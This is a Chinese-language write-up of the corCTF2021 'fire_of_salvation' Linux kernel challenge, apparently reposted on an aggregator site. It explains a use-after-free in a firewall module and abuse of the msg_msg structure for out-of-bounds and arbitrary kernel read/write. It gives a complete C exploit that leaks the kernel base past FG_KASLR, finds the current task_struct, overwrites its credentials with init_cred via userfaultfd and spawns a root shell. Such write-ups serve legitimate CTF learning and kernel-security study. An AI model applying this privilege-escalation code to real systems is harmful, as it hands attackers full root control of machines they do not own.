[msg_msg] corCTF2021 -- fire_of_salvation

news2024/11/28 2:34:03

前言

msg_msg 是 kernel pwn 中经常用作堆喷的结构体. 其包含一个 0x30 大小的 header. 但 msg_msg 的威力远不如此, 利用 msg_msg 配合其他堆漏洞可以实现任意地址读写的功能.

程序分析

本题给了源码, 可以直接对着源码看. 并且题目给了编译配置文件, 所以可以直接编译一个内核以此来导入符号. 作者给了提示:

Difficulty: insane

Author: D3v17 and FizzBuzz101

Description:
```
Elastic objects in kernel have more power than you think. A kernel config file is provided as well, but some of the important options include:

CONFIG_SLAB=y
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDEN=y
CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH=""
CONFIG_FG_KASLR=y

SMEP, SMAP, and KPTI are of course on. Note that this is an easier variation of the Wall of Perdition challenge.

hint: Using the correct elastic object you can achieve powerful primitives such as arb read and arb write. While arb read for this object has been documented, arb write has not to .
```

Flag: `corctf{MsG_MsG_c4n_d0_m0r3_th@n_sPr@Y}`

值得注意的是本题内核使用的是 slab 分配器而不是 slub. 并且开了 FG_KASLR 保护.

漏洞点

题目给了增/删/改的功能, 其中漏洞点如下:

static long firewall_delete_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx)
{
    printk(KERN_INFO "[Firewall::Info] firewall_delete_rule() deleting rule!\n");

    if (firewall_rules[idx] == NULL)
    {
        printk(KERN_INFO "[Firewall::Error] firewall_delete_rule() invalid rule slot!\n");
        return ERROR;
    }

    kfree(firewall_rules[idx]);
    firewall_rules[idx] = NULL;

    return SUCCESS;
}


static long firewall_dup_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx)
{
    uint8_t i;
    rule_t **dup;

    printk(KERN_INFO "[Firewall::Info] firewall_dup_rule() duplicating rule!\n");

    dup = (user_rule.type == INBOUND) ? firewall_rules_out : firewall_rules_in;

    if (firewall_rules[idx] == NULL)
    {
        printk(KERN_INFO "[Firewall::Error] firewall_dup_rule() nothing to duplicate!\n");
        return ERROR;
    }

    if (firewall_rules[idx]->is_duplicated)
    {
        printk(KERN_INFO "[Firewall::Info] firewall_dup_rule() rule already duplicated before!\n");
        return ERROR;
    }

    for (i = 0; i < MAX_RULES; i++)
    {
        if (dup[i] == NULL)
        {
            dup[i] = firewall_rules[idx];
            firewall_rules[idx]->is_duplicated = 1;
            printk(KERN_INFO "[Firewall::Info] firewall_dup_rule() rule duplicated!\n");
            return SUCCESS;
        }
    }

    printk(KERN_INFO "[Firewall::Error] firewall_dup_rule() nowhere to duplicate!\n");

    return ERROR;
}

当执行 dup 时, 会把入口规则的指针直接赋给出口规则. 而在 dele 时只会释放其中一个, 因此造成 UAF.

漏洞利用

这里的修改功能比较有意思

typedef struct
{
    char iface[16];
    char name[16];
    uint32_t ip;
    uint32_t netmask;
    uint16_t proto;
    uint16_t port;
    uint8_t action;
    uint8_t is_duplicated;
    #ifdef EASY_MODE
    char desc[DESC_MAX];
    #endif
} rule_t;

static long firewall_edit_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx)
{
    printk(KERN_INFO "[Firewall::Info] firewall_edit_rule() editing rule!\n");

    #ifdef EASY_MODE
    printk(KERN_INFO "[Firewall::Error] Note that description editing is not implemented.\n");
    #endif

    if (firewall_rules[idx] == NULL)
    {
        printk(KERN_INFO "[Firewall::Error] firewall_edit_rule() invalid idx!\n");
        return ERROR;
    }
    // 先修改了 iface/name, 即 rule_t 的前 0x20 字节
    memcpy(firewall_rules[idx]->iface, user_rule.iface, 16);
    memcpy(firewall_rules[idx]->name, user_rule.name, 16);
    
    if (in4_pton(user_rule.ip, strnlen(user_rule.ip, 16), (u8 *)&(firewall_rules[idx]->ip), -1, NULL) == 0)
    {
        printk(KERN_ERR "[Firewall::Error] firewall_edit_rule() invalid IP format!\n");
        return ERROR;
    }

    if (in4_pton(user_rule.netmask, strnlen(user_rule.netmask, 16), (u8 *)&(firewall_rules[idx]->netmask), -1, NULL) == 0)
    {
        printk(KERN_ERR "[Firewall::Error] firewall_edit_rule() invalid Netmask format!\n");
        return ERROR;
    }

    firewall_rules[idx]->proto = user_rule.proto;
    firewall_rules[idx]->port = ntohs(user_rule.port);
    firewall_rules[idx]->action = user_rule.action;

    printk(KERN_ERR "[Firewall::Info] firewall_edit_rule() rule edited!\n");

    return SUCCESS;
}

这里就让我们只修改堆块的前 0x30 字节, 因为我们可以给一个无效的 ip 从而在修改完前 0x20 字节后就会直接返回.

这有什么用呢? 我们在看下 msg_msg 结构体:

/* one msg_msg structure for each message */
struct msg_msg {
	struct list_head m_list; // 消息通过双向链表连接
	long m_type;			// 消息类型
	size_t m_ts;			// 消息的大小
	struct msg_msgseg *next;	// 消息数据
	void *security;
	/* the actual message follows immediately */
};

可以看到 0x30 刚好到 m_ts, 所以这里我们就可以避免修改 next.

越界读泄漏内核基址

创建一个大小为 0x1000-0x30+0x20-8 大小的消息去占据 UAF 堆块, 然后修改其 m_ts 实现越界读.这时我们可以堆喷大量的 shm_file_data, 从而去泄漏 init_ipc_ns. 该全局指针不会进行二次随机化, 所以可以绕过 FG_KASLR.

任意读寻找 current task_struct

有了内核基址后, 就可以找到 init_task 地址了, 然后可以利用任意读去遍历其子进程即 tasks 字段, 从而找到当前进程的 task_struct.

而我们知道读 msg_msgseg 时, 其终止的标志为其 next=NULL. 所以这就要求 target_addr - 8 = NULL (当然也不一定这样, 比如 target_addr-0x18=NULL也是可以的, 反正就是要找到一个 NULL 位置). 而这里比较 Nice 的是 tasks-8 就是 NULL. tasks 字段的偏移是 0x298

任意写修改 current cred

当我们调用 msgsnd 系统调用时, 其会调用 load_msg() 将用户空间数据拷贝到内核空间中. 首先是调用 alloc_msg() 分配 msg_msg 单向链表, 之后才是正式的拷贝过程, 即空间的分配与数据的拷贝是分开进行的.

struct msg_msg *load_msg(const void __user *src, size_t len)
{
	struct msg_msg *msg;
	struct msg_msgseg *seg;
	int err = -EFAULT;
	size_t alen;

    // 空间分配
	msg = alloc_msg(len); // 分配 msg 所需空间
	
    // 数据拷贝
	alen = min(len, DATALEN_MSG); // 一个 msg 包含 header 最大为1页
	if (copy_from_user(msg + 1, src, alen)) // msg+1 就是数据空间
		goto out_err;
	// 当消息的长度大于0xfd0时, 注意复制结束的标志是 seg->next = NULL
	for (seg = msg->next; seg != NULL; seg = seg->next) { // 0xfd0之后的数据存储在 msg_msgseg 结构体中
		len -= alen;								// msg_msgseg 包含 header 最大也是1页
		src = (char __user *)src + alen;
		alen = min(len, DATALEN_SEG);
		if (copy_from_user(seg + 1, src, alen))
			goto out_err;
	}
......
}

如果在拷贝时利用 userfaultfd/FUSE 将拷贝停下来, 在子进程中篡改 msg_msg 的 next 指针, 在恢复拷贝之后便会向我们篡改后的目标地址上写入数据,从而实现任意地址写

并且 real_cred 前也为 NULL:

exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>

# define EASY_MODE
#define ADD_RULE 0x1337babe
#define DELE_RULE 0xdeadbabe
#define EDIT_RULE 0x1337beef
#define SHOW_RULE 0xdeadbeef
#define DUP_RULE 0xbaad5aad

#define ERROR -1
#define SUCCESS 0
#define MAX_RULES 0x80

#define INBOUND 0
#define OUTBOUND 1
#define SKIP -1

#ifdef EASY_MODE
#define DESC_MAX 0x800
#endif

typedef struct
{
    char iface[16];
    char name[16];
    char ip[16];
    char netmask[16];
    uint8_t idx; // buf[64]
    uint8_t type; // buf[65]
    uint16_t proto;
    uint16_t port;
    uint8_t action;
    #ifdef EASY_MODE
    char desc[DESC_MAX];
    #endif
} user_rule_t;

void convert(char* buf, uint32_t num)
{
        sprintf(buf, "%d.%d.%d.%d", num&0xff, (num>>8)&0xff, (num>>16)&0xff, (num>>24)&0xff);
}

void generate(char* buf, user_rule_t* rule)
{
        char tmp[16] = { 0 };
        uint32_t ip = *(uint32_t*)&buf[32];
        uint32_t netmask = *(uint32_t*)&buf[36];

        memset(tmp, 0, sizeof(tmp));
        convert(tmp, ip);
        memcpy(rule->ip, tmp, 16);

        memset(tmp, 0, sizeof(tmp));
        convert(tmp, netmask);
        memcpy(rule->netmask, tmp, 16);

        memcpy(rule->iface, buf, 16);
        memcpy(rule->name, &buf[16], 16);
        memcpy(&rule->proto, &buf[0x28], 2);
        memcpy(&rule->port, &buf[0x28+2], 2);
        memcpy(&rule->action, &buf[0x28+2+2], 1);
}

int fd;
void add(uint8_t idx, char* buf, int type)
{
        user_rule_t rule = { 0 };
        generate(buf, &rule);
        rule.idx = idx;
        rule.type = type;
        ioctl(fd, ADD_RULE, &rule);
}

void dele(uint8_t idx, int type)
{
        user_rule_t rule = { 0 };
        rule.idx = idx;
        rule.type = type;
        ioctl(fd, DELE_RULE, &rule);
}

void edit(uint8_t idx, char* buf, int type, int flag)
{
        user_rule_t rule = { 0 };
        generate(buf, &rule);
        rule.idx = idx;
        rule.type = type;
        if (flag)
        {
                strcpy(rule.ip, "invalid");
                strcpy(rule.netmask, "invalid");
        }
        ioctl(fd, EDIT_RULE, &rule);
}

void dupl(uint8_t idx, int type)
{
        user_rule_t rule = { 0 };
        rule.idx = idx;
        rule.type = type;
        ioctl(fd, DUP_RULE, &rule);
}

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: \033[0m%#lx\n", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* root checker and shell poper */
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

    system("/bin/sh");

    exit(EXIT_SUCCESS);
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

struct msg_buf {
        long m_type;
        char m_text[1];
};

struct msg_msg {
        void* l_next;
        void* l_prev;
        long m_type;
        size_t m_ts;
        void* next;
        void* security;
};

void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{
        long uffd;
        struct uffdio_api uffdio_api;
        struct uffdio_register uffdio_register;

        uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
        if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);

        uffdio_api.api = UFFD_API;
        uffdio_api.features = 0;
        if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);

        uffdio_register.range.start = (long long)addr;
        uffdio_register.range.len = len;
        uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
        if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) puts("[X] ioctl-UFFDIO_REGISTER"), exit(-1);

        if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)
                puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}

size_t init_ipc_ns;
size_t kernel_offset;
size_t init_task = 0xffffffff81c124c0;
size_t init_cred = 0xffffffff81c33060;

size_t target_idx;
size_t target_addr;
char copy_src[0x1000];

void* handler(void* arg)
{
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;
        long uffd = (long)arg;

        for(;;)
        {
                int res;
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);

                res = read(uffd, &msg, sizeof(msg));
                if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
                if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
                if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);

                puts("[+] Now in userfaultfd handler");
                *(uint64_t*)(copy_src) = 0;
                *(uint64_t*)(copy_src+8) = init_cred;
                *(uint64_t*)(copy_src+0x10) = init_cred;
                char buffer[0x1000] = { 0 };
                struct msg_msg evil = { 0 };
                evil.m_type = 1;
                evil.m_ts = 0x1000-0x30+0x10;
                evil.next = target_addr;
                memcpy(buffer, &evil, sizeof(evil));
                edit(target_idx, buffer, OUTBOUND, 0);

                uffdio_copy.src = (long long)copy_src;
                uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
                uffdio_copy.len = 0x1000;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
        }
}

int main(int argc, char** argv, char** env)
{
        bind_core(0);
        fd = open("/dev/firewall", O_RDWR);
        if (fd < 0) err_exit("open /dev/firewall");

        int qid;
        int shm_id;
        char tmp[0x2000] = { 0 };
        char buffer[0x1000] = { 0 };
        struct msg_msg evil;
        struct msg_buf* msg_buf;
        msg_buf = (struct msg_buf*)tmp;

        add(0, buffer, INBOUND);
        dupl(0, INBOUND);

        if ((qid = msgget(0, IPC_PRIVATE|0666)) < 0) err_exit("msgget");
        dele(0, INBOUND);
        msg_buf->m_type = 1;
        if (msgsnd(qid, msg_buf, 0x1000-0x30+0x20-8, 0) < 0) err_exit("msgsnd");

        for (int i = 0; i < 0x50; i++)
        {
                if ((shm_id = shmget(IPC_PRIVATE, 100, 0666)) < 0) err_exit("shmget");
                if (shmat(shm_id, NULL, 0) < 0) err_exit("shmat");
        }

        memset(&evil, 0, sizeof(evil));
        evil.m_type = 1;
        evil.m_ts = 0x1000-0x30+0x1000-0x8;
        memcpy(buffer, &evil, sizeof(evil));
        edit(0, buffer, OUTBOUND, 1);
        int res = msgrcv(qid, msg_buf, 0x1000-0x30+0x1000-0x8, 0, MSG_COPY|IPC_NOWAIT|MSG_NOERROR);
        if (res < 0x1000-0x30+0x20-8) err_exit("failed to hit UAF chunk");
        binary_dump("OOR DATA", msg_buf->m_text+0xfd0, 0x100);
        for (int i = 0; i < 0xfd0 / 0x20; i++)
        {
                if (((*(size_t*)(msg_buf->m_text+0xfd0+0x20*i))&0xfff) == 0x7a0)
                {
                        init_ipc_ns = *(size_t*)(msg_buf->m_text+0xfd0+0x20*i);
                        break;
                }
        }

        kernel_offset = init_ipc_ns - 0xffffffff81c3d7a0;
        init_task += kernel_offset;
        init_cred += kernel_offset;
        hexx("init_ipc_ns", init_ipc_ns);
        hexx("kernel_offset", kernel_offset);
        hexx("init_task", init_task);
        hexx("init_cred", init_cred);

        uint32_t pid, cur_pid;
        uint64_t prev, curr;
        pid = -1;
        cur_pid = getpid();
        hexx("current pid", cur_pid);
        prev = init_task + 0x298;
        memset(&evil, 0, sizeof(evil));
        memset(buffer, 0, sizeof(buffer));
        evil.m_type = 1;
        evil.m_ts = 0x1000-0x30+0x1000-0x8;

        while (pid != cur_pid)
        {
                curr = prev - 0x298;
                evil.next = prev - 8;
                memcpy(buffer, &evil, sizeof(evil));
                edit(0, buffer, OUTBOUND, 0);
                memset(msg_buf, 0, sizeof(msg_buf));
                msgrcv(qid, msg_buf, 0x1000-0x30+0x1000-0x8, 0, MSG_COPY|IPC_NOWAIT|MSG_NOERROR);
                memcpy(&prev, msg_buf->m_text+0xfd8, 8);
                memcpy(&pid, msg_buf->m_text+0x10d0, 4);
                hexx(" searched pid", pid);
        }
        hexx("current task_struct", curr);

        pthread_t thr;
        char* uffd_buf = mmap(0, 2*0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
        if (uffd_buf < 0) err_exit("mmap for uffd_uffd");
        msg_buf = (struct msg_buf*)(uffd_buf+0x30);
        msg_buf->m_type = 1;
        register_userfaultfd(&thr, uffd_buf+0x1000, 0x1000, handler);

        target_idx = 1;
        target_addr = curr + 0x530;
        memset(buffer, 0, sizeof(buffer));
        add(1, buffer, INBOUND);
        dupl(1, INBOUND);
        dele(1, INBOUND);
        if (msgsnd(qid, msg_buf, 0x1000-0x30+0x10, 0) < 0) err_exit("msgsnd to triger userfaultfd");
        hexx("UID", getuid());
        system("/bin/sh");
        puts("[+] END");
        return 0;
}

效果如下:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1216363.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C 语言指针和数组

C 语言指针和数组 在本教程中&#xff0c;您将了解C语言编程中数组与指针之间的关系。您还将学习使用指针访问数组元素。 在了解数组与指针之间的关系之前&#xff0c;请确保检查以下两个主体&#xff1a; [C 数组](C 语言数组-CSDN博客)[C 指针](C 语言指针-CSDN博客) 数组…

2023上海国际电力电工展盛大举行 规模创新高 与行业「升级、转型、融合」

由中国电力企业联合会、国家电网主办及雅式展览服务有限公司承办的「第三十一届上海国际电力设备及技术展览会 (EP Shanghai 2023)」从11月15日起至17日一连三天于上海新国际博览中心盛大举行&#xff0c;并首度增设专题子展「上海国际储能技术应用展览会」。本届展会以“升级、…

2023_“数维杯”问题B:棉秸秆热解的催化反应-详细解析含代码

题目翻译&#xff1a; 随着全球对可再生能源需求的不断增加&#xff0c;生物质能作为一种成熟的可再生能源得到了广泛的关注。棉花秸秆作为一种农业废弃物&#xff0c;因其丰富的纤维素、木质素等生物质成分而被视为重要的生物质资源。虽然棉花秸秆的热解可以产生各种形式的可…

jffs2文件系统(二)

本篇文章讲解一下如何制作jffs2文件系统&#xff0c;以及如何在linux下把jffs2作为根文件系统使用。 文件系统制作 制作工具&#xff1a;mtd_utils&#xff0c;可以自己安装 mkfs.jffs2 -o root-uclibc-jffs2 -r root-uclibc -e 0x10000 -s 0x1000 -n -l -X zlib --pad0x10000…

基于卷积神经网络的猫种类的识别

1.介绍 图像分类是计算机视觉中的一个关键任务&#xff0c;而猫种类识别作为一个有趣且实用的应用场景&#xff0c;通过卷积神经网络&#xff08;CNN&#xff09;的模型能够识别猫的不同品种。在这篇博客中&#xff0c;将详细介绍如何利用深度学习技术构建模型&#xff0c;从而…

gd32 USB HOST 接口

接口 CPU引脚 复用 DM PB14 USBHS_DM AF12 DP PB15 USBHS_DP AF12

互联网上门预约洗衣洗鞋店小程序;

拽牛科技干洗店洗鞋店软件&#xff0c;方便快捷&#xff0c;让你轻松洗衣。只需在线预约洗衣洗鞋服务&#xff0c;附近的门店立即上门取送&#xff0c;省心省力。轻松了解品牌线下门店&#xff0c;通过列表形式展示周围门店信息&#xff0c;自动选择最近门店为你服务。简单填写…

【Linux专题】SFTP 用户配置 ChrootDirectory

【赠送】IT技术视频教程&#xff0c;白拿不谢&#xff01;思科、华为、红帽、数据库、云计算等等https://xmws-it.blog.csdn.net/article/details/117297837?spm1001.2014.3001.5502 红帽认证 认证课程介绍&#xff1a;红帽RHCE9.0学什么内容&#xff0c;新版有什么变化-CSDN…

【带头学C++】----- 七、链表 ---- 7.1 链表的概述

目录 七、链表 7.1 链表的是什么&#xff1f; 7.2数组和链表的优点和缺点 7.3 链表概述 ​编辑 7.4 设计静态链表 7.4.1 定义一个结点&#xff08;结构体&#xff09; 7.4.2 使用头结点构建一个单向链表 七、链表 7.1 链表的是什么&#xff1f; C链表是一种数据结构&a…

如何构建风险矩阵?3大注意事项

风险矩阵法&#xff08;RMA&#xff09;是确定威胁优先级别的最有效工具之一&#xff0c;可以帮助项目团队识别和评估项目中的风险&#xff0c;帮助项目团队对风险进行排序&#xff0c;清晰地展示风险的可能性和严重性&#xff0c;为项目团队制定风险管理策略提供依据。 如果没…

SecureCRT\\FX:打造安全可靠的终端模拟器和FTP客户端

在现代的工作环境中&#xff0c;远程连接和文件传输是不可或缺的任务。而SecureCRT\\FX作为一款安全可靠的终端模拟器和FTP客户端&#xff0c;将帮助您高效管理远程连接和文件传输。 SecureCRT\\FX提供了强大的终端模拟功能&#xff0c;支持SSH、Telnet、RDP等多种协议&#x…

92.Linux的僵死进程以及处理方法

目录 1.什么是僵死进程&#xff1f; 2.代码演示僵死进程 3.解决办法 1.什么是僵死进程&#xff1f; 僵死进程是指一个子进程在父进程之前结束&#xff0c;但父进程没有正确地等待&#xff08;使用 wait 或 waitpid 等系统调用&#xff09;来获取子进程的退出状态。当一个进…

流程图怎么画,用什么软件做?一文弄懂流程图:从流程图的定义、流程图各种图形的含义到流程图制作,一步到位!

流程图&#xff0c;也被称为过程流程图或流程图&#xff0c;是一种表达工作或过程中步骤之间逻辑关系的可视化工具。它主要由不同形状和符号的框以及指向这些框的箭头组成。每个形状或符号都有特定的含义&#xff0c;它们代表了工作流程中的一种特定类型的步骤或动作。 使用流…

视频集中存储/云存储平台EasyCVR级联下级平台的详细步骤

安防视频监控/视频集中存储/云存储/磁盘阵列EasyCVR平台可拓展性强、视频能力灵活、部署轻快&#xff0c;可支持的主流标准协议有国标GB28181、RTSP/Onvif、RTMP等&#xff0c;以及支持厂家私有协议与SDK接入&#xff0c;包括海康Ehome、海大宇等设备的SDK等。平台既具备传统安…

JVM bash:jmap:未找到命令 解决

如果我们在使用JVM的jmap命令时遇到了"bash: jmap: 未找到命令"的错误&#xff0c;这可能是因为jmap命令没有在系统的可执行路径中。 要解决这个问题&#xff0c;可以尝试以下几种方法&#xff1a; 1. 检查Java安装&#xff1a;确保您已正确安装了Java Development …

【Android】导入三方jar包/系统的framework.jar

1.Android.mk导包 1).jar包位置 与res和src同一级的libs中(没有就新建) 2).Android.mk文件 LOCAL_STATIC_ANDROID_LIBRARIES&#xff1a;android静态库&#xff0c;经常用于一些support的导包 LOCAL_JAVA_LIBRARIES&#xff1a;依赖的java库&#xff0c;一般为系统的jar…

[修改Linux下ssh端口号]解决无法修改sshd_config无法修改

前言&#xff1a;写本文的前因是本人的阿里云服务器经常被黑客暴力破解ssh的22端口号。再网络上搜索解决都是说使用root权限进行修改&#xff0c;但本人在root下也无法成功进行修改sshd_config文件。所以在大量搜索下终于找到了解决方案&#xff0c;现在分享出来给有需要的人使…

一个集成了AI和BI报表功能的新一代数据库管理系统神器--Chat2DB

世人皆知Navicate&#xff0c;无人识我Chat2DB &#x1f4d6; 简介 Chat2DB 是一款开源免费的多数据库客户端工具&#xff0c;支持多平台和主流数据库。 集成了AI的能力&#xff0c;能进行自然语言转SQL、SQL解释、SQL优化、SQL转换 ✨ 好处 1、AIGC和数据库客户端的联动&am…

广州华锐互动:办税服务厅税务登记VR仿真体验让税务办理更加灵活高效

在数字化世界的今天&#xff0c;我们正在见证各种业务过程的转型&#xff0c;而税务办理也不例外。最近&#xff0c;一种全新的交互方式正在改变我们处理税务的方式&#xff1a;虚拟现实&#xff08;VR&#xff09;。 首先&#xff0c;用户需要戴上虚拟现实头显&#xff0c;然后…